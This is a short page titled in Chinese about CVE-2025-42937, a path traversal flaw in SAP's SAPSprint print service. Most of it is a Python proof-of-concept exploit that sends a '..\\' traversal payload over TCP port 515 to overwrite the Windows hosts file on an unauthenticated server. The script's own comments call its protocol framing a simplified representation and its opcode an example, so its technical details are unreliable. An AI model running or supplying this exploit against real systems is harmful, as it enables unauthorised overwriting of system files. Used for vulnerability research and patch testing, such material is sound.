CVE-2025-42937 SAP Print Service路径遍历漏洞

#!/usr/bin/env python3 # CVE-2025-42937 - SAP Print Service (SAPSprint) Path Traversal PoC # This PoC demonstrates the path traversal vulnerability in SAPSprint service. # The vulnerability allows unauthenticated attackers to traverse directories # and overwrite system files via insufficient path validation. import socket import struct import sys TARGET_HOST = "127.0.0.1" # Target SAPSprint server host TARGET_PORT = 515 # Default SAPSprint service port (LPR/SAP protocol) TRAVERSAL_DEPTH = 5 # Number of parent directory traversals TARGET_FILE = "Windows\\System32\\drivers\\etc\\hosts" # File to overwrite def build_malicious_path(depth: int, target_file: str) -> str: """ Build a path traversal payload using ../ sequences to escape the spool directory. """ traversal = "..\\" * depth return traversal + target_file def build_sapsprint_payload(malicious_path: bytes) -> bytes: """ Construct a SAPSprint protocol packet containing the malicious path. The exact framing follows SAP's internal print spool protocol. """ # SAPSprint protocol header (simplified representation) header = struct.pack(">I", len(malicious_path)) # payload length # Command identifier for spool file submission (example opcode) command = struct.pack(">H", 0x0002) # Path field containing the traversal payload path_field = struct.pack(">H", len(malicious_path)) + malicious_path # Reserved / job metadata fields metadata = b"\x00" * 32 return header + command + path_field + metadata def exploit(host: str, port: int, payload: bytes) -> None: """ Send the crafted payload to the SAPSprint service. """ print(f"[*] Connecting to {host}:{port} ...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((host, port)) print("[+] Connection established.") sock.sendall(payload) print("[+] Malicious payload sent.") response = sock.recv(4096) print(f"[*] Server response: {response.hex()}") except Exception as e: print(f"[-] Exploit failed: {e}") finally: sock.close() if __name__ == "__main__": malicious_path = build_malicious_path(TRAVERSAL_DEPTH, TARGET_FILE) print(f"[*] Malicious path: {malicious_path}") payload = build_sapsprint_payload(malicious_path.encode("utf-8")) exploit(TARGET_HOST, TARGET_PORT, payload)